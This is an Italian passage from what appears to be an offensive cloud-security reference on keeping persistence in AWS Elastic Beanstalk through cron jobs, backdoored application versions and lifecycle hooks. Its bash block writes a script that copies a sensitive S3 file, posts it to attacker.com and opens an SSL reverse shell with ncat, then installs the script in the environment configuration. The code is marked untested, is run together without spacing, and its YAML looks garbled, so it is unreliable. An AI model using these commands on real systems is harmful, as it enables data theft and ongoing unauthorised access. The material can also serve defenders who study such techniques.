Per mantenere la persistenza all'interno dell'account AWS, potrebbe essere introdotto un meccanismo di persistenza all'interno dell'istanza (lavoro cron, chiave ssh...) in modo che l'attaccante possa accedervi e rubare le credenziali del ruolo IAM dal servizio di metadati.
Backdoor nella versione
Un attaccante potrebbe inserire un backdoor nel codice all'interno del repository S3 in modo che esegua sempre il backdoor e il codice previsto.
Nuova versione backdoor
Invece di modificare il codice nella versione attuale, l'attaccante potrebbe distribuire una nuova versione backdoor dell'applicazione.
Abuso degli hook del ciclo di vita delle risorse personalizzate
TODO: Test
Elastic Beanstalk fornisce hook del ciclo di vita che consentono di eseguire script personalizzati durante la creazione e la terminazione dell'istanza. Un attaccante potrebbe configurare un hook del ciclo di vita per eseguire periodicamente uno script che esfila dati o mantiene l'accesso all'account AWS.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"